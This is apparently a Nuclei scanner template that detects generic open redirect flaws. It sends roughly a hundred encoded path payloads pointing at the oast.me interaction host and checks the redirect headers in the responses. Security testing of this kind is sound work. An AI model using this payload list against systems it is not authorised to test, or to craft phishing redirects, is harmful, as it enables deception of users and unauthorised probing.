133 lines
3.9 KiB
YAML
133 lines
3.9 KiB
YAML
id: open-redirect-generic
|
|
|
|
info:
|
|
name: Open Redirect - Detection
|
|
author: afaq,melbadry9,Elmahdi,pxmme1337,Regala_,andirrahmani1,geeknik
|
|
severity: medium
|
|
description: An open redirect vulnerability was detected. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cwe-id: CWE-601
|
|
metadata:
|
|
max-request: 93
|
|
tags: redirect,generic
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{RootURL}}/{{redirect}}"
|
|
|
|
payloads:
|
|
redirect:
|
|
- '%0a/oast.me/'
|
|
- '%0d/oast.me/'
|
|
- '%00/oast.me/'
|
|
- '%09/oast.me/'
|
|
- '%5C%5Coast.me/%252e%252e%252f'
|
|
- '%5Coast.me'
|
|
- '%5coast.me/%2f%2e%2e'
|
|
- '%5c{{RootURL}}oast.me/%2f%2e%2e'
|
|
- '../oast.me'
|
|
- '.oast.me'
|
|
- '/%5coast.me'
|
|
- '////\;@oast.me'
|
|
- '////oast.me'
|
|
- '///oast.me'
|
|
- '///oast.me/%2f%2e%2e'
|
|
- '///oast.me@//'
|
|
- '///{{RootURL}}oast.me/%2f%2e%2e'
|
|
- '//;@oast.me'
|
|
- '//\/oast.me/'
|
|
- '//\@oast.me'
|
|
- '//\oast.me'
|
|
- '//\toast.me/'
|
|
- '//oast.me/%2F..'
|
|
- '//oast.me//'
|
|
- '//%6f%61%73%74%2e%6d%65'
|
|
- '//oast.me@//'
|
|
- '//oast.me\toast.me/'
|
|
- '//https://oast.me//'
|
|
- '/<>//oast.me'
|
|
- '/\/\/oast.me/'
|
|
- '/\/oast.me'
|
|
- '/\oast.me'
|
|
- '/oast.me'
|
|
- '/oast.me/%2F..'
|
|
- '/oast.me/'
|
|
- '/oast.me/..;/css'
|
|
- '/https:oast.me'
|
|
- '/{{RootURL}}oast.me/'
|
|
- '/〱oast.me'
|
|
- '/〵oast.me'
|
|
- '/ゝoast.me'
|
|
- '/ーoast.me'
|
|
- '/ｰoast.me'
|
|
- '<>//oast.me'
|
|
- '@oast.me'
|
|
- '@https://oast.me'
|
|
- '\/\/oast.me/'
|
|
- 'oast%E3%80%82me'
|
|
- 'oast.me'
|
|
- 'oast.me/'
|
|
- 'oast.me//'
|
|
- 'oast.me;@'
|
|
- 'https%3a%2f%2foast.me%2f'
|
|
- 'https:%0a%0doast.me'
|
|
- 'https://%0a%0doast.me'
|
|
- 'https://%09/oast.me'
|
|
- 'https://%2f%2f.oast.me/'
|
|
- 'https://%3F.oast.me/'
|
|
- 'https://%5c%5c.oast.me/'
|
|
- 'https://%5coast.me@'
|
|
- 'https://%23.oast.me/'
|
|
- 'https://.oast.me'
|
|
- 'https://////oast.me'
|
|
- 'https:///oast.me'
|
|
- 'https:///oast.me/%2e%2e'
|
|
- 'https:///oast.me/%2f%2e%2e'
|
|
- 'https:///oast.me@oast.me/%2e%2e'
|
|
- 'https:///oast.me@oast.me/%2f%2e%2e'
|
|
- 'https://:80#@oast.me/'
|
|
- 'https://:80?@oast.me/'
|
|
- 'https://:@\@oast.me'
|
|
- 'https://:@oast.me\@oast.me'
|
|
- 'https://;@oast.me'
|
|
- 'https://\toast.me/'
|
|
- 'https://oast.me/oast.me'
|
|
- 'https://oast.me/https://oast.me/'
|
|
- 'https://www.\.oast.me'
|
|
- 'https:/\/\oast.me'
|
|
- 'https:/\oast.me'
|
|
- 'https:/oast.me'
|
|
- 'https:oast.me'
|
|
- '{{RootURL}}oast.me'
|
|
- '〱oast.me'
|
|
- '〵oast.me'
|
|
- 'ゝoast.me'
|
|
- 'ーoast.me'
|
|
- 'ｰoast.me'
|
|
- 'redirect/oast.me'
|
|
- 'cgi-bin/redirect.cgi?oast.me'
|
|
- 'out?oast.me'
|
|
- 'login?to=http://oast.me'
|
|
- '1/_https@oast.me'
|
|
- 'redirect?targeturl=https://oast.me'
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: header
|
|
regex:
|
|
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)oast\.me\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
|
|
|
|
- type: status
|
|
status:
|
|
- 301
|
|
- 302
|
|
- 307
|
|
- 308
|
|
condition: or
|
|
# digest: 4a0a00473045022100b327ea17f154456b706a540e72c9c79e4c901a70091e38648ed261ecd5b0094502202f0ae209b845dc30c6fb92d9f33617dbca5720568776d2b1e8df2c17cb36202d:922c64590222798bb761d5b6d8e72950 |